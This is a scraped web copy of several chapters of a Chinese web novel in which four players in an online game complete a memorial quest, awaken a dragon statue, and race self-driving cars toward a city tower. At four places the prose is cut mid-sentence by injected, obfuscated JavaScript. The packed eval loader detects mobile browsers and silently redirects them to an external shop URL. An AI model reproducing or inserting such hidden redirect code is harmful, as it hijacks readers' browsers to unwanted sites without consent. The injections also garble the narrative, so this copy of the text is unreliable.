“思婷姑娘，你说这话是认真的吗？”唯月连路都不走了，瞪大眼睛看着我。 “我说笑的。”我和罗小星看着彼此都开心地笑起来。 闹归闹，待走到无字碑的时候，我们的情绪已经平复下来。 我恭敬地拿出老先生托我带来的酒，洒在故人的坟前。酒洒净之后，瓶子消失。我朝无字碑鞠了一躬。 很快，队伍频道弹出系统提醒：任务已完成。 “咦，我记得之前看过这棵树是枯死的啊？这节树枝怎么发新芽了？”罗小星站在槐树边上看着新发的芽一脸困惑。 我走到罗小星身边，和他一起看着槐树。 “老先生说，这棵槐树是他为朋友种下的，他说，希望能为朋友挡挡风雨、解解闷。如今这棵树还能保有一线生机，也算是一桩大大的好事，只是不知道要等到何年何月，这棵树才能枝繁叶茂。” “大概得很久很久以后吧。”罗小星回答道。 “如果能像那古墓里的东西一样，不生锈不褪色就好了。永远长青。” 我们两个人仍旧怅惘着，镜舟走过来，伸手在我俩面前展示出一样东西——那是一个龙纹玉佩，浅绿色，晶莹剔透，造型独特，一看就是价值不菲的样子。 我们俩都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712070|189266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不明白镜舟此举有何用意。 “这是我在离开古墓后获得的，自动出现在背包中。” “难道是过关的特别奖赏？”罗小星顿时来了精神，“镜舟大哥，我可以拿这个看一看吗？” 镜舟把玉佩放在罗小星的手里，罗小星双手捧着。 “好漂亮。”罗小星郑重地把玉佩举起来，对着东方的阳光看，“还很有光泽。可是不知道有什么用呢？难道是什么重要的法器，或者是防御极高的护具？” 罗小星挥了下手，“让我看一下，会不会有什么别的功能？”他应该正在调用物品界面。 “镜舟大哥，这个玉佩有一个使用的选项，但我这边无法点选，你也是一样的吗？它是不是认主人，还是说不能在非战斗状态下使用？” “我试一下。” 罗小星听话地把玉佩还给镜舟，镜舟右手握着玉佩，突然玉佩自他手中升起，发出绿色微光，这光芒似曾相识，与那玉具剑上的光芒一模一样，而后光芒照耀在枯木逢春的槐树上。 槐树竟然因此快速生长起来，顷刻间绿荫如盖，枝叶葳蕤。 “哇哦……这么神奇的吗？这个玉佩竟然还有这个作用？”罗小星看呆了，我又何尝不是。 “看来我们无意间做成了件好事。”唯月站在树下轻声说道。 待光芒散尽后，玉佩又落回镜舟手中，之前的浅绿色已经消失不见，取而代之的是墨绿一样的颜色，更深沉，更内敛，好像其中藏有很多故事。 “姑娘，你怎么仍在此地？”远处，之前遇到的那位老先生高声对我说道。 我连忙迎过去，老先生却并未再与我说话，而是和我来到这无字碑前。 他坐在地上，看着尚未干透的酒迹，对我报以感激的目光，“姑娘，你言而有信。我果然没有看错人。” “哪里哪里，老先生，我答应过您的。对了，您怎么亲自到这里来了呢？” “我昨日把事情交托于姑娘之后，回到我那陋室之中坐立难安，难以成眠，这几年我只知道喝酒度日，浑浑噩噩惯了，连看望老友这样的事情也还要拜托别人去做，说起来真是愧对我的朋友。他在九泉之下，也是要怪我的。于是我天一亮，就赶紧出发来道歉。” 老先生说完，又看了看身旁亭亭如盖的槐树，“原来你已经走了很多年了啊……逝者如斯夫，不舍昼夜，圣人所言极是。” “老先生，感谢您还记得您的朋友。如果我是他的话，一定会很欣慰的。” 老先生只是看了看我，没有回应，也许程序设定便是如此，他不知道该如何回答我这句突如其来的话，但我就是想要告诉他，对一个已经逝去的人念念不忘是需要勇气的，他对抗的是时间，也是虚无，可是他胜利了。 “年轻人，你们还要赶路吧，早些去，不要耽搁在此，就由我陪着我的老朋友吧。至于这株树，你们放心，我定然再不让它凋零。” 16. 第 16 章 我们一行四人听从老先生的话，离开了无字碑，向东城门的方向走去，任务既然已经完成，接下来系统应该会有提示告诉我们下一步该怎么做。 走了没多久之后，前方空气中重又浮现出那扇令人眼熟的朱红色大门，依旧紧闭，门下延伸出五级台阶。 “好耶！这下任务是真的完成咯！我们可以出去啦！”罗小星一看到大门就兴高采烈地狂奔，第一个跑上台阶，一手握住金色门环，一手还不忘招呼我们赶紧跟上来。 “我先出去了，兄弟萌！” 等我们所有人全部踏出门外后，朱红色大门与台阶全部消失，青龙雕像自行重塑，从基座开始，由下往上，快速地复原为一个整体，雕像身上的裂纹全都消失不见了，之前有残缺的地方也都重归完整，基座完好无损，与最初我们看到的那个不同，这是一个全新打造的雕像。整个雕像看起来威武大气，青龙昂首瞠目，身姿矫健，工匠技艺精湛，把这石制的青龙塑造得栩栩如生。 “龙神看起来很气派啊，简直和真的差不多！” “你除了气派两个字是不是不会说别的形容词了？”唯月扯了扯嘴角。 “哎呀呀，不要介意啦，我缺乏文采，就会说大白话。”罗小星不好意思地挠了挠后脑勺。 “雕像重塑之后就完事儿了吗？我们接下来要做什么？还是围绕这个雕像探索吗？”我有一连串的问题，双手触碰着基座，凝视着这座新建的宏伟雕塑。右手触碰到的地方有一个凹印，我低头看了看，发现那凹印的形状看起来有点眼熟，我抬头看了镜舟一眼，发现他也在看向我这边。 “你们快回头看看那边，新出一个门啊？”罗小星激动地举起手，示意我们朝他所指的方向看。 “又出现石阶和门了，下一个区域出现了。”唯月也看到了，“对于你来说可是个好消息啊罗小星。” “呃，为什么是对于我呢？这对大家来说不都是个好消息吗？”罗小星不明白唯月为什么这么说。 “因为和青龙门相比，这个门打开很容易，不需要你解谜。” 罗小星还认真将唯月的话思索了两秒，之后才反应过来唯月是在挖苦他，“对对对！我没你聪明，我笨，我解不出来！” 被“嘲笑”了一下，罗小星倒也不恼，新发现让他振奋精神，他迈步就要往新门那奔。 “先等一等。”我连忙叫住罗小星，“门已经出现了，自己也不会长腿跑掉。你看那门所在的位置，是不是有点熟悉？” “有吗？不就是突然从地上出现的门吗？很明显是等着我们迈进去啊？”罗小星不觉得这扇门有什么特别的。 “再想一想，这样吧，我提醒你一下，想一想家园里四象石的位置。” “家园里的四象石？”罗小星摸着下巴，看了看新门，又看了看青龙雕像，“哦～我知道了，你说这扇门所在的地方就是对应着家园里的朱雀石？” “对，没错，聪明。我就是这个意思，所以这一次的周年庆特典很有可能是四个任务，对应四个传送石，而我们现在已经完成一个任务了。” “对呀，我们真棒，再完成三个就能靠近终极大奖了！”罗小星充满憧憬地说道。 “你哪来的自信啊？你怎么知道你就会顺利完成另外三个任务呢？”唯月朝罗小星当头泼了盆冷水。 “奇了怪了唯月，你怎么那么自卑啊？你不是和我一个队伍吗？你没有信心完成另外三个任务？好吧，就算你对自己没信心，你也应该对镜舟大哥、思婷大姐有信心啊？” 唯月许是没想到罗小星会这么回答他，他先是一愣，旋即就放松地笑起来，“想不到你还会发起反击啊？挺厉害的，罗小星。不过，我得承认，你可真是个乐天派。” “那是当然啦，我得首先学会给自己打气，这是非常重要的技能。我又不是能够一直赢的天赋型选手，被人打趴下的时候最重要的就是能够自己站起来，即便没有人相信我能行，即便没有人扶我一把，我也不会放弃我自己的，想在竞技场生存，这就是最基本的法则啊，不然我早就哭着鼻子撤退了，当了逃兵之后又怎么可能在今天有机会和各位组队呢？放弃很容易的，有第一次就会有第二次第三次，次数多了我根本就不会再有信心坚持玩下去的。 “我不是随随便便那么说的，我真的从心里觉得我们四个人可以顺利完成接下来的任务，难道唯月你不是这么想的吗？” 唯月看向罗小星，没有说话，那一刻，唯月的眼神变得让我感到有几分陌生。 唯月闭上了眼睛，叹了口气，“也许吧。”随后他顿了顿，又眼带笑意地看向罗小星，“只要你不拖后腿，过任务问题不大。” “什么嘛！”罗小星气结，“我们还是快点出发吧，要不然我会被唯月这家伙气死。” “别着急，罗小星，你过来看看这基座上有什么？就是我右手按住的地方。” “啊呀？第一个任务还没有彻底完成吗？不能够吧？这第二扇门已经开了呀。”罗小星虽然一副难以置信的样子，但还是乖乖走到我这边，依照我所说的那样把手放在基座上。。 “对哦，这里怎么有个圆形的凹印呢？不仔细看的话还真不容易发现呢。” “你猜这是做什么用的？” “这个，是什么很重要的线索吗？” “游戏里应该不会平白无故多出一个这样的设计，我们不妨试一试，我猜啊，很有可能会有好结果。” “镜舟，请试试吧。”我退后一步，把位置让给镜舟，我想他一定明白我的意思，我们俩刚才一定是想到一起去了。他拿出那个龙形玉佩，罗小星一看到玉佩就什么都明白了。 “哦是这个，我说怎么这个印记有点似曾相识呢，原来指的是这个玉佩！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712071|189266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 镜舟把玉佩放在凹下去的印记中，完美契合。边缘处发出绿色光亮，而后玉佩升起，基座上的凹印已经不见了，基座重新变得平整，镜舟见状便把玉佩收了回去。 我们等了一会儿，为了看清楚雕像的全貌还后退了几步，可惜并没有看到期待中的任何变化。 “所以说，咱们即便用玉佩补充上这个印记也是没什么用的对吗？”罗小星有点失望，他问题刚说出口，变化就出现了，青龙雕像发出寸寸石头碎裂的声音，由龙首开始直到龙尾，石头碎裂的同时真龙寸寸诞生，直到石质雕像完全被真龙取代。 “我的妈呀……龙神降临啊，这么逼真的吗？”罗小星盯着真龙。 真龙获得新生之后，盘旋着压低身姿与镜舟面对面，对视的那一刻我和罗小星都屏住呼吸，这是什么意思，是在感谢镜舟吗？ 很快，青色巨龙便离开镜舟，重新高高在上，但它并没有飞离基座太远，就好像被锚定在此一样。 “这下任务是真的完成了吧。”罗小星感叹道。 走到第二扇门前，罗小星的情绪才平静下来。 “愿我们第二关也像第一关这么顺利。”罗小星第一个站上台阶。 第二扇门是一道卷帘门，罗小星大力将卷帘门拉起来，率先走了进去。 “这里……是个车库啊？” 待我们全都过门而入时，发现此地还真是如罗小星所言，是个车库。车库空间特别大，周围的墙面与地面都是水泥，墙面没有进行过粉刷，地面上倒是画着停车线。我们一进来车库门就关上了，室内看起来有点暗，只在墙角处亮着几盏白炽灯。 可能是因为进入到现代区域的关系，我们身上的衣服自动替换成了现代服装。罗小星还是系统送的装扮，身穿白色T恤、深蓝色牛仔裤，脚踩一双板鞋，我曾经给自己的现代装扮定义过默认搭配，此时我一身黑色过膝连衣裙，外加黑色西装小外搭，镜舟身穿我第一次遇到他的那身改良中山装，我喜欢他的这身穿着，看起来很精神。至于唯月，深棕色大衣配花衬衫加黑色皮裤，难看倒是不难看，而且给我一种很昂贵的感觉，就是视觉上有点花里胡哨的，看久了可能会看出点高端奢侈品服装的范儿吧。 “这车库里怎么也没有车啊！”罗小星四处看了看，沿着墙边的拐角继续走，“这拐角后面有什么？” “——哇哦！这里竟然有两辆锃光瓦亮的跑车诶！是特意为我们四个人准备的吗？大家都会不会开车啊？赛车这方面我不行的呀！”罗小星站在其中一辆跑车的引擎盖前，摩拳擦掌。 “总不可能我们四个人都不会开吧？”罗小星又转过头来以恳求的目光看着我们。 “什么年代了？懂什么叫作自动驾驶吗？”唯月对罗小星的担心嗤之以鼻，“一看你平时就不玩这些东西。来来来，我今天好好给你演示一下。” 17. 第 17 章 “那敢情好啊！”罗小星赶忙点头，“虽然我不会，但我愿意学的呀！” 罗小星立即打开车门，坐到副驾驶的座位上去。我注意到，这两辆跑车都是两门两座，一辆车只能坐两个人。 “你可真够自觉的，我也没说要和你在一辆车上啊？” “是吗唯月？我没有听错啊，确实是你刚才说过要好好给我演示一下的，要是我和你坐在两辆车上，要怎么演示呢？”罗小星的语气有些委屈。 唯月无语，“那你先坐着吧……我要好好挑一挑。” “挑什么？”罗小星坐在座位上迷惑地问道。 唯月也不理他，只把左手悬停在身前，掌心朝着面前的这辆车。随着唯月左手的每一次挥动，车身由初始的黑色不断变换，白色、红色、橙色、黄色、绿色、银色、蓝色、紫色、粉色，看得我眼花缭乱。 “这粉色好漂亮啊！”罗小星从车里探头往外看。 “这是冰莓粉，能不好看嘛。你喜欢啊？” 罗小星马上点头如捣蒜。 “我偏不选这个。”唯月说完自己先仰头笑起来了。 “你这什么人啊！”罗小星眉毛打结地看向唯月。 最终，唯月心情愉悦地选定了一款天蓝色，这颜色也很养眼，一下子就让人联想到湛蓝色的晴空，车身因此看起来格外灵动。 “车子大部分配置都选不了，车型、动力、续航、操控那些都是灰色的，也就在颜色中挑一挑了，内饰看起来都差不多。总体来说，这车还行吧，不好不赖，也就是轮子能转、勉强能开的水平。”唯月最后总结道，他打开车门准备上车。 “可是我觉得这两辆车看起来很酷很拉风啊！”罗小星有不同意见，“而且这个天蓝色其实也不错啊，我已经越看越喜欢了！” “思婷姑娘，你还要再选一选配置后在再上车吗？” “这个，我也不懂的……”我转身看向镜舟，“要不我们就这样，使用初始的配置可以吗？另外，我和罗小星一样，也不知道怎么开这个，镜舟你会吗？” “好的。”镜舟淡淡地答道，“没关系，上车吧。” 唯月关好车门，在车上打开车内电源，车内中控的屏幕随之亮起，唯月把车窗放下，一个柔和的女性声音响起： “您好，请系好安全带，汽车行驶时默认启动自动驾驶模式，如有需要请修改。此次目的地为，南城１１１大厦，祝您驾乘愉快。如您已做好出发准备，请确认。” “什么嘛！原来按一下电源开关就可以了，全是自动化的，根本不需要人为操作，那这样的话我也可以开！我还以为有多难呢？”罗小星不满地抱怨道。 “你是活在上个世纪吗？第一次听说自动驾驶是不是。”唯月翻了个白眼，“没吃过猪肉总见过猪跑吧，大道上那么多车，你没开过总也坐过吧，现在自动驾驶的市场占有率哪有那么高，想要开车也还是要学驾照的。要不这样，我坐副驾，你来开。” “那当然不行，我才不换呢……”罗小星边说边立马系好自己的安全带，“万一车载电脑坏了怎么办……我又不知道怎么把车停下来。” “你倒还没有笨得那么无可救药。” 罗小星抿了抿嘴，也不反驳，只双眼紧紧盯着我，“思婷大姐姐，你刚才也听到了吧。南城１１１大厦，那就是我们的下一站！快点和镜舟大哥上车吧，我们要出发了！”罗小星听到了新的目的地后已经迫不及待了。 “好的，知道了。”我马上朝第二辆车走去，镜舟先我一步，已经为我把副驾驶的门打开了。 唯月和罗小星的那辆车先行出发，我和镜舟紧随其后。 天蓝色跑车靠近车库门时，卷帘门自动升起。 车库门前是标线清晰的柏油路，道路两旁铺有整齐的灰色路缘石。我们驶入的是盘山道，两旁树木高大茂密，郁郁葱葱，天上碧空如洗，处处春光烂漫。 黑色跑车不紧不慢地跟在天蓝色跑车的后面，一直保持着适当的距离。 我和镜舟什么都不用做，只需要惬意地欣赏道路风光就好。黑色跑车的目的地一样被设置为南城１１１大厦，自动驾驶模式随车开启。 盘山公路是双向两排道，一路上只有我们两辆车，车内屏幕显示的时间是１３点１４分。 我其实并不是一个热络的人，有许多非独处的场合都让我不自在。比如和不熟悉的同事同乘一部电梯，在等待电梯到达指定楼层的时候我就会特别煎熬，是不是应该跟对方打个招呼呢，但我又不是很认识那个人，也许那个人根本就不认识我，既然如此，两个陌生人能有什么好说的呢。 其实对于外向一些的人来说，即便是陌生人也可以互相之间聊聊天气啊谈谈新闻啊，借此缓和一下彼此之间冰冻的气氛，就算是再熟稔的朋友也是从互不认识的那一天开始慢慢相熟地走到今天的呀。我心里明白这个道理，但是就好像已经被设定好了程序，从来不会主动打开话匣子。 不仅仅是和陌生人在一个小小的电梯里会让人想出冷汗，同坐一辆车也会有尴尬无聊得脚趾抠地的时候。沉默有时候真是杀伤力巨大的武器。 奇怪的是，和镜舟在一起的时候，我完全不会有这种感觉。 哪怕两个人之间安静到一句话都不说也不会觉得这有什么不好，镜舟身上有一种在我看来特别神奇的力量，让我非常的安心。 我看着窗外渐渐略去的风景，呼吸得很畅快，此时此刻，我没有任何烦心事，不为未来而焦虑，也不为过去而挂怀。我觉得世间的一切都处在它最应该在的位置上。 “镜舟，你喜欢车窗外的风景吗？”我观察到镜舟几乎一直都是在朝前看。 镜舟闻言通过左侧车窗看了会儿外面，“喜欢。”他转身看着我回答道。 “啊，镜舟，你真是一个话少的人，我以前觉得我自己就够寡言少语的了，没想到你比我有过之而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“这么说来好像当我们想要快乐的时候就一定能做到，多么心灵鸡汤似的说辞，如果什么情况之下都能快乐得起来，那不就是傻傻的精神胜利法吗？我经常会给自己增加一些前置条件，比如我一夜暴富了就会快乐，比如有很多人欣赏我表扬我肯定我，我就会快乐，比如父母再也不对我挑剔来挑剔去不再要求那么多我就会快乐，可是我想要的这些事情太多太多，而大部分都取决于别人对我的看法，我怎么可能要求这些人都按照我的心意去做呢？我这个人实际上又能有多优秀，我凭什么呢？这不是小孩子才有的任性想法嘛，可是我已经长成大人了，不是小孩子了。我唯一可以任性去做的事情，就是当一个好的我。 “换一个角度去看的话，钱够花我就可以快乐，没人打击我伤害我算计我，也令我快乐，和家人朋友喜欢的人在一起，更值得快乐。这时候我才发现，哦，原来那句话是对的，快乐真的是一种能力，它是需要我努力获取的。” 在我说话的时候，镜舟起初看着我，继而又低下头看着面前的方向盘，现在他重又专心地看着我。我知道他有耐心听我说。 “但是重要的一点，镜舟，我现在绝对没有劝你假快乐啊，勉强自己是很痛苦的，我是想让你知道，如果倾诉可以让你舒服一点的话，我任何时候都愿意倾听你的苦恼，虽然我脑袋很笨，记忆力也不好，但是说不定也能帮你想想办法呢。三个臭皮匠还能顶个诸葛亮呢对不对？” 镜舟摇了摇头，一字一顿地说道，“你不笨，莫思婷，你是最聪明的人。” 这好像是我第一次听见镜舟叫我的名字，我觉得在那个瞬间，我仿佛能听到自己右耳血管中血液流动的声音，不知道为什么，我突然一个字也说不出来。 汽车驶过前方盘山道路的拐角，刹那间，我们可以俯瞰远方那波光粼粼的曲折海岸线，阳光此刻尽情地照耀在海平面上，如同正在与海浪嬉戏的温柔的手，绿的山，蓝的海，没有比这更美的风景了。 “不用担心我，和你在一起，我很快乐。” 18. 第 18 章 看见海岸线后再行驶一段路程，很快就到了目的地南城。 其实安逸地坐在车上的这段时间也就十多分钟，除了眼睛能够饱览美景以外，我和镜舟的距离也借此机会得以拉近了一些，我感觉他不像之前那么封闭自己了，好像也变得喜欢与我说话，我很开心，他对我并没有反感，这真是人世间十分奇妙和幸运的事情。 “距离南城１１１大厦还有３５公里，您已驶入城市道路，城市道路内行驶时系统将视情况降低车速。请注意安全，如果遇到紧急情况请关闭自动驾驶模式。”车载电脑提醒道。 我看着道路两旁的自然风光渐渐被都市景象所替代，道路两旁依次出现村庄、农田，而后便是工业厂区，建筑物逐渐密集并高大了起来。 “你应该多笑一笑，镜舟，平时不妨试一下，你笑起来很有感染力的。” 镜舟低头腼腆地翘起嘴角，但是这个还未完全诞生的笑容很快被他收走。 “我现在不知道怎样做选择才是对的，思婷。” “如果是我遇到这样的情况，我会选择跟着感觉走，有首歌不就是这么唱的嘛。心指引我到哪里去，我就到哪儿。” “心？”镜舟低声念着这个字。 “对啊，做违心的事，我每一分每一秒都活得很煎熬。” “如果理智告诉你，跟从心的做法是错的呢？” “啊这个……”镜舟的问题难倒我了，“通常来说，理智是很重要的，人有时候会因为活得太过于情绪化而冲动做出错误的决定。可是如果在生活中不管遇到什么事情都活得那么理智，是不是少了一点人情味儿啊，我希望能够运用自己的头脑广开思路，始终尝试去想到更多的办法，理智和情感之间如果能够找到沟通的桥梁的话，那就最好了。 “我这么说绝对不是要反智啊，还是那句话，遇到麻烦和苦恼了，当然要使劲儿想办法解决，但是有时候一个人想破脑袋也想不出更好的办法，那不如跟其他人交流一下，一个人是容易走进死胡同的。虽说别人的意见能不能采用最终还是要靠自己做决定，但也不失为一个很好的参考，我希望人生能有更多的备选项。一个人扛下所有是很辛苦的，心结难解，我自己经历过，所以有这种感悟。不过呢，还有一个万能的方法：时间是治愈一切痛苦的良药。选择一条路走，不管是对是错，只要熬下去，就能走出来。” “你遇到难解的心结会跟别人倾诉吗？” “别看我跟你说得一套一套的，其实我自己……我没有可以倾诉的人，而且你知道吗镜舟，当你好不容易遇到一个愿意倾听你心事的人的时候，你是不好意思把负面的情绪全部传递给别人的，我怕把人家吓走。镜舟，我把你当朋友，所以想让你开心，但我也不是什么好人，更多时候我没耐心听陌生人过多谈论他们自己的事，我知道他们只是把我当垃圾桶，我就算是一块石头他们也能滔滔不绝，当我需要他们的时候一个个跑得比兔子还快。我不需要那么多朋友，因为我没有精力，如果周围都是狐朋狗友，那我宁愿一个人呆着，人本来孤独，遇到的大部分事情其实都是要靠自己。” “明白，我的那位朋友也对我说过一模一样的话，人本来孤独。” “哦是吗？真是巧了，我和你的朋友还有如此心心相印的时候。也许我们三个人能谈得来呢，‘他’是男生还是女生，也玩梦田吗？” 镜舟没有说话，若有所思，我看向他，“怎么了？我只是有点好奇，不方便的话不用回答的，我们换个话题。” “不是的，他比我年纪要大一点，我以前曾经把他当哥哥看待，十分信赖他，他教会我很多很多，我从来没有想过有一天会与他分别，所以连一个正式的告别都没有。我还有问题想要问他，然而已经没有听到答案的机会了。他很喜欢这个游戏，可能比你和我都要更喜欢，但有一段时间似乎厌倦了，很久没有登录。再后来，我才知道他已经不在了。” 哎，原来被我打开了一个悲伤的盒子，我不知道要怎么继续下去，应该怎么说才能更好地安慰到镜舟呢，面对离别，我已经颇有经验，我知道这滋味有多不好受。 “原来在说一个人不在了的时候指的是彻彻底底的离开，再也不会上线。我以前不是很明白，是他让我懂得这件事。我不能接受这样的事情第二次发生在我的生命里。”镜舟原本整个人看起来有些忧郁，说这句话的时候眼神却突然变得异常坚定起来，让人觉得难以靠近。他目光灼灼地看着我，眼眶微微泛红，他这位朋友的离去一定对他打击太大了。 生老病死，人生无常，一己之力又如何能够对抗？我不知道该怎么劝镜舟想开一点，只好一下一下抚着他的后背。 “没事的，镜舟，都会过去的……” 一直在前方行驶的天蓝色跑车忽然间降慢速度，往左后方避让，看起来似乎正是为了给我们这辆车腾出空间。副驾驶旁的玻璃缓缓落下，罗小星面带不情愿地把身子靠后，唯月看向我们，他带着黑色墨镜，有几分纨绔子弟的嚣张之气，如果把罗小星替换成打扮火辣的妖艳女郎，那唯月这花花公子的剧本就握得更稳了。 镜舟跟着落下车窗，面容平静地看向他们，如同刚才的那番对话从未发生过。 “喂——聊得不错呀二位！思婷姑娘，我们一会儿就要驶入南城城区地带了，现在这道路也变宽了，车也变多了，开车就变得更有意思了。可是这个破自动驾驶设定的速度实在是太慢了，乌龟都跑得比他快，我们开得又不是拖拉机，这太不好玩儿了。我实在受不了了，就把它关掉了。” “就好好地奔向目的地不就行了吗？别整出什么别的幺蛾子来了大哥！”罗小星扶额，他显然并不支持唯月的想法。 “我也没做什么危险的事情啊，不就是关掉自动驾驶模式，尽情地自己开一会儿车而已么。”唯月不解。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712073|189266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“关掉以后我们要怎么去南城１１１大厦啊！” “罗小星啊，你可真够死板的！你都已经来到南城了你知道吗？车载地图懂不懂啊，开导航去咯，根据地图上的标记，你现在就能看见１１１大厦，瞪大你的眼睛往前看，喏，就是市中心最高的那栋楼。别说关掉自动驾驶模式了，就算关掉导航我们都能去成。一点问题都没有。”唯月左手扶着方向盘，右手食指朝着前挡风玻璃一指。 南城是一座沿海城市，远望可以看到城市内高楼林立，摩天大楼比比皆是，一副现代化国际大都市的气象。 我顺着唯月手指的方向仔细看过去，１１１大厦鹤立鸡群，直插云霄。城区内的高楼大厦就已经够多了，它的高度显然还要再高出接近一倍，简直就是一座屹立于钢铁丛林之中的通天塔。楼体外立面的深灰色玻璃幕墙反射着午后太阳的光芒，蓝天白云映照其上。这真是一座令人深深为之叹服的建筑。 “放心，我肯定能把你送到目的地，凭我自己的脑袋，而不是车上这个机器。现代化让你越来越懒惰了是不是，忘记了人本来就是会开车的。” 罗小星双手捂脸，“哎，这什么队友，好好的偏要提高游戏难度。” “彼此彼此呗。”唯月一笑置之，不再管罗小星的抱怨，“喂，镜舟，陪我玩个游戏怎么样？你也把车上的自动驾驶模式关掉，我们不走行车电脑规划好的路线，好不好？我已经看过了，前方上高架右拐，那边连通着一条跨海大桥，通过它也能进入市区，而且路线更直接，道路更开阔，不用走老城区七拐八绕的旧道。”唯月语气一顿，直视着我们，我无法透过黑色墨镜看到他此刻的眼神，“我们两个比一比，看看谁先到？” “镜舟大哥，唯月不知道是搭错了哪根筋，你别理他，不和他比！哎呀，我后悔了，我现在下车还来不来得及啊……”罗小星抓了抓脑袋上的头发，朝镜舟大声说道。 “车里不愿意坐，你从车玻璃翻出去爬到上面扒汽车顶我也没意见，我会小心点不开那么快，至于会不会被甩下去，你就自求多福吧。”唯月转过身来专心看着前方，冷冷地说道。 “想好了没有？我可没那么多时间。”唯月抬高声音最后说了一句，随后他关上了罗小星的那侧玻璃。 还差一百米左右的距离就要到高架了，如果要走跨海大桥，就必须经过高架，如果不和唯月进行这场比赛，只要继续沿着底道行驶即可。 一声粗犷的引擎声自左侧响起，天蓝色跑车忽然间加速向前，风驰电掣般地朝高架方向行驶，当我反应过来的时候只来得及看到它的后车尾。 “唯月这是怎么了？难道是个赛车爱好者？”我也只能想出这个理由了。 镜舟伸手在中控屏幕的左侧按了一下。 “您已关闭自动驾驶模式，３秒钟后自动驾驶系统将关闭，汽车将以当前速度行驶，请扶稳方向盘，确保行车安全。” 19. 第 19 章 镜舟决定陪唯月玩这场在罗小星看来毫无必要、在我看来又有些莫名其妙的游戏。 我们面对着前方距离越来越近的道路分岔口，镜舟单手准确地将方向盘小幅度左转，黑色跑车跟随着前方天蓝色跑车的身影，同样驶上了高架桥。 高架桥上限速６０，唯月就老老实实地遵守交规慢速前进，一直都在自己所在的那条车道上行驶，除非前方的车辆实在是开得太慢挡了他的路，他才会不耐烦地变下道，变完之后又回到自己原来的车道上。 镜舟只是稳稳地跟住唯月的那辆车，丝毫也没有超越的打算。我始终能看到唯月那辆天蓝色跑车动感流畅的车身曲线，而两车之间，始终保持一定距离。 这是什么奇怪的赛车方式？是不是有点儿过于文明了啊。 我本来已经做好肾上腺素飙升的准备，但眼前的情景让我觉得那完全是我杞人忧天。我刚才是不是听错了？唯月何必如此辛苦自己，接着让车载的自动驾驶代劳就好啊…… 我看了镜舟一眼，他一言不发，面容肃然。我想，现在也不是和镜舟聊闲天儿的好时候…… 我看了看屏幕，此时还不到下午两点，不是上下班时间，城市内道路并没有处于高峰时段，行驶畅通。高架桥上能看到的景色相对单调一些，双眼所见的大多是一个接一个的道路护栏，地上的建筑物时不时也能映入眼帘。 一所双语私立中学的广告牌子进入了我的视野，吸引了我的注意力，我看着广告中那以欧式风格设计的恢弘的学校大门和门前大片绿色的草坪，心思飘到百里外：私立中学和公立中学都有什么不同呢，在私立念书一年的学费要多少，我上学那会儿还不流行到私立中学念书啊…… 教育和医疗是我成为打工人以后经常关注的话题，教育是为了自己的再深造，不过我也是有自知之明的，现在的我倒是可以按照自己的爱好在教育上加大金钱方面的投入，但是时间上却经常力不从心，工作忙起来的时候回家只想躺下来休息，什么都不做，感觉自己的大部分精力都已经消耗在了工作上，学习能力每天都在退化。不用说和那些一茬茬的高素质竞争者比了，就是和初中高中时候的自己相比较，也是要差上一大截。最糟糕的是，如今的我很难提起对学习的兴趣，也可能我天生如此吧。 而医疗则是不得不考虑的必选项，我偶尔也会想到自己老了之后要怎么办。我对小孩子没什么爱心，每天养活自己都费劲更别提养别人了，秉持着对自己负责也对别人负责的理念，我一点也没有要随便找个人生个孩子防老的想法。我想我母亲在天上听到我这么说一定会再次数落我死脑筋，可我已经选择了这条路，只想继续走下去。作为一个成年人，我总有权利过我想要的生活吧。我现在经常琢磨的是，选择什么样的养老院才能让年迈的日子过得稍微体面一点。 有时候我确实会觉得活着很辛苦，打工不快乐，可还是会在上下班的时候好好过马路，选择有五险一金的工作，月月按时交保险，对退休之后的生活我还是抱有一些美好的念想的。 两辆车已经相继驶离高架，开到了跨海大桥上。跨海大桥上限速８０，唯月因此开得更快一些，镜舟依旧保持跟随。 大桥似乎是新建的，路面状况良好，标线清晰。桥梁分两层，我们是入市区方向，车辆均在下层行驶，单向四车道，视野十分开阔，大桥右侧是无边无际的大海，海面上能看到黑色、绿色的礁石，大桥左侧则是南城绵长的海岸线，我能看到岸上的各式摩登建筑，一座缓慢旋转的摩天轮，以及停放着多艘游艇的港口。 沿道路行驶时能看到禁止停车的标志，下层似乎是不允许行人登桥的，我没有在车道两旁发现可供行人行走的道路。 